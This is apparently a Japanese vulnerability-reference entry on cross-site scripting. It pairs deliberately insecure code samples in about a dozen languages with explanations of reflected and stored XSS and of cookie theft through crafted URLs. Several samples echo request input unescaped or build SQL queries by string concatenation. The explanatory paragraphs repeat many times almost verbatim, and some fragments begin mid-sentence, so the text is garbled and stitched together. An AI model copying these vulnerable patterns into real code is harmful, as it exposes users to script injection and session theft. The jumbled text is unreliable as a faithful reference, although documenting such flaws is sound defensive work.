Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。eid を HTTP 要求から読み取ってユーザーに表示します。
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP サーブレット リクエストから読み取ってから、サーブレットのレスポンスでユーザーに値を表示します。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示したように、カスタムの URL スキームからデータが直接読み取られ、UIWebView レスポンスの内容に反映されます。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある iOS アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信されるカスタムスキーム URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるアプリケーションの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてアプリケーションに反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取ってユーザーに表示します。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 のように Rack::Request#params() を利用した場合、GET パラメーターと POST パラメーターの両方が表示されます。そのため、悪意のあるコードが URL に追加されるだけでなく、さまざまな種類の攻撃に対して脆弱になる可能性があります。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取ってユーザーに表示します。
def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 内のテキストに標準の英数字テキストのみが含まれる場合は問題なく動作します。inputTextField 内のテキストにメタ文字またはソースコードが含まれる場合、入力は HTTP レスポンスを表示するときに Web ブラウザによってコードとして実行されます。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
Example 2 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 では、ユーザー制御可能な UI コンポーネントからデータを直接読み取り、HTTP レスポンスに反映します。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 では、ターゲット アプリケーション外部のソースが、ターゲット アプリケーションのカスタム URL スキームを使用して URL リクエストを作成し、続いて URL リクエストによる未検証のデータが信頼されるデータとしてアプリケーションに再び読み込まれ、動的コンテンツに含まれます。Example 3 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取ってユーザーに表示します。
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS 